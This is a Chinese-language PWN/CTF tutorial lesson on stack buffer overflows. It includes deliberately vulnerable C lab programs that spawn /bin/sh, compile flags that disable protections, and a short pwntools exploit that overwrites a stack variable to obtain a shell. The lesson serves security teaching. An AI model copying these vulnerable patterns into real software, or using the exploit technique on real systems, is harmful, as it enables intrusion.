%%本节前置: Bk-1, Bk-2%%
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
现在开始,我们将学习PWN方向的第一个漏洞栈溢出(Stack Overflow)
在bk-2中,我们了解了在程序中的函数调用约定和参数传递流程,这对于我们对栈溢出的理解至关重要。
我们知道:栈在虚拟地址空间中用于保存函数调用信息和储存局部变量。
那么发生栈溢出的基本前提就是:
- 程序必须能向栈上写入数据
- 写入的大小没有被很好地控制导致数据超过当前缓冲区
什么是缓冲区? **缓冲区是内存空间的一部分。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。缓冲区根据其对应的是输入设备还是输出设备,分为输入缓冲区和输出缓冲区。
举例来说,我们如果有一个gets(buf)
,而变量buf
的大小并不是无限大的,但gets()
不限制用户输入的大小。如果用户输入的数据大小超过了buf
的大小,就会发生缓冲区溢出,如果buf
在栈上,那么发生的就是我们所说的栈溢出了
历史上的第一个蠕虫病毒莫里斯蠕虫🪱就是利用了危险函数
gets
实现了栈溢出
我们举一个例子来解释栈溢出和体会栈溢出漏洞能造成的严重后果。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int vuln()
{
char buffer[0x10];
int flag = 0;
read(0, buffer, 0x100);
if(flag != 0)
{
return 1;
}
else
{
return 0;
}
}
int main(){
int check = vuln();
if (check == 1)
{
printf("Congratulations!\n");
system("/bin/sh");
}
else
{
printf("End of the line.\n");
}
return 0;
}
用以下命令编译
$ gcc -no-pie -fno-stack-protector -z lazy Lab-s-1-1.c -o Lab-s-1-1
简单介绍一下参数的含义
-no-pie
:关闭PIE
地址随机化-fno-stack-protector
:关闭栈保护canary
-z lazy
:启用Partial RELRO
我们可以通过checksec
命令查看程序保护
$ checksec --file=./Lab-s-1-1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 28 Symbols No 0 2Lab-s-1-1
我们简单分析一下程序流程。
int vuln()
{
char buffer[0x10];
int flag = 0;
read(0, buffer, 0x100);
if(flag != 0)
{
return 1;
}
else
{
return 0;
}
}
在关键函数vuln
中
- 定义了一个大小
0x10
大小的缓冲区变量buffer
- 定义了一个标志位变量
flag
- 向缓冲区变量
buffer
读入0x100
个字节的数据 - 检查
flag
- 如果标志位等于0,则返回0
- 如果标志位不等于0,则返回1
此处理应当恒有
flag=0
在main
中,调用了vuln
后将返回值放入check
变量检查。如果不为0,那么会让我们Getshell;如果为0,直接结束。
显然,在vuln
函数中存在栈溢出漏洞。原本的缓冲区只有0x10
的大小,但是却读入了0x100
个字节的数据,溢出的数据就会覆盖掉其他的变量。有什么用呢?我们可以在IDA
中查看vuln
函数的栈结构。
-0000000000000020 buf db 28 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
可以看到buf
缓冲区变量下方的var_4
变量,即我们的flag
变量,如果我们将它覆盖为除0以外的其他整数,是不是就可以让vuln
的返回值为1呢?这样我们就可以通过check检查,拿到系统的Shell了。
此处buffer变成了
0x16
是由于编译器的优化问题
那我们输入的数据要怎么组织呢?在这里,我们用Pwntools
库完成我们的攻击荷载Payload
用Pwntools
给出的脚本如下。
from pwn import * # 导入pwntools库
io = process("./Lab-s-1-1") # 用process()接口打开程序
payload = cyclic(0x16) + p64(1) #构造荷载,前0x16个数据用于填满buf,后面的`1`用64位的打包形式打包
io.sendline(payload) #发送攻击荷载
io.interactive() #切换至shell
运行结果如下
❯ python exp.py
[+] Starting local process './Lab-s-1-1': pid 23579
[*] Switching to interactive mode
Congratulations!
$ ls
exp.py Lab-s-1-1 Lab-s-1-1.c Lab-s-1-2.c
总结一下。我们利用vuln
函数的栈溢出漏洞,成功覆盖了栈上的关键变量flag
,导致绕过了if检查获取到了Shell。
这其实是缓冲区溢出漏洞利用中特别重要的覆写思想overwrite,利用溢出漏洞,我们可以修改在内存中的敏感信息,例如指针,变量,返回地址等。通过覆写,我们可以劫持程序执行流,从而达到Getshell的目的。
实际上,此实验还有另一种解法,如果学习了ret2text
攻击手法,我们可以通过更改vuln
函数的返回地址来Getshell。在这里不做赘述。
最后,我们留下实验Lab-s-1-2
作为作业
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vertify(char *password)
{
char* PASSWORD;
FILE* stream = fopen("/dev/urandom", "r");
fgets(PASSWORD, 64, stream);
char buf[7];
memcpy(buf, password, 0xc);
int authenitcated = strcmp(password, PASSWORD);
return authenitcated;
}
void main()
{
int valid_flag = 0;
char password[1024];
scanf("%s", password);
valid_flag = vertify(password);
if(valid_flag == 0)
{
printf("Welcome to the system!\n");
system("/bin/sh");
}
else
{
printf("Invalid password!\n");
}
getchar();
}
请试着编译并完成该实验。实验的Write UP详解在下一节。